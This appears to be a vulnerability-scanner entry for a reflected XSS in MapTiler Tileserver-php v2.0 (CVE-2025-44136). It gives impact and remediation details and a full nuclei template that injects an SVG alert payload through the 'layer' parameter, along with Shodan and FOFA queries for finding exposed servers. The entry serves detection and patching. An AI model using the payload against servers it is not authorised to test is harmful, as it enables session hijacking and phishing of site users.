MapTiler Tileserver-php v2.0 - Unauthenticated XSS

mediumseverity

6.1CVSS score

2.7%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

MapTiler Tileserver-php v2.0 contains a reflected XSS caused by unencoded reflection of the GET parameter \"layer\" in an error message, letting unauthenticated attackers execute arbitrary script on victim browsers.

Impact

Unauthenticated attackers can execute arbitrary JavaScript in victim browsers, leading to session hijacking or phishing.

Fix

Update to the latest version of MapTiler Tileserver-php.

How to confirm it

Send: GET {{BaseURL}}/tileserver.php/wmts/x/1/1/asd?Request=x&layer=%3Csvg+alert(document.domain)%3E
Positive when: contains_all(body, "<svg alert(document.domain)>","Unknown or not specified dataset") and contains(content_type, "text/html") and status_code == 404

Run it with nuclei: nuclei -id CVE-2025-44136 -u <target>

The full check

id: CVE-2025-44136

info:
  name: MapTiler Tileserver-php v2.0 - Unauthenticated XSS
  author: 0x_Akoko
  severity: medium
  description: |
    MapTiler Tileserver-php v2.0 contains a reflected XSS caused by unencoded reflection of the GET parameter \"layer\" in an error message, letting unauthenticated attackers execute arbitrary script on victim browsers.
  impact: |
    Unauthenticated attackers can execute arbitrary JavaScript in victim browsers, leading to session hijacking or phishing.
  remediation: |
    Update to the latest version of MapTiler Tileserver-php.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-44136
    - https://github.com/mheranco/CVE-2025-44136
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-44136
    epss-score: 0.02713
    epss-percentile: 0.86117
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"TileServer-php"
    fofa-query: title="TileServer-php"
  tags: cve,cve2025,xss,maptiler,tileserver,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tileserver.php/wmts/x/1/1/asd?Request=x&layer=%3Csvg+alert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<svg alert(document.domain)>","Unknown or not specified dataset")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 404'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from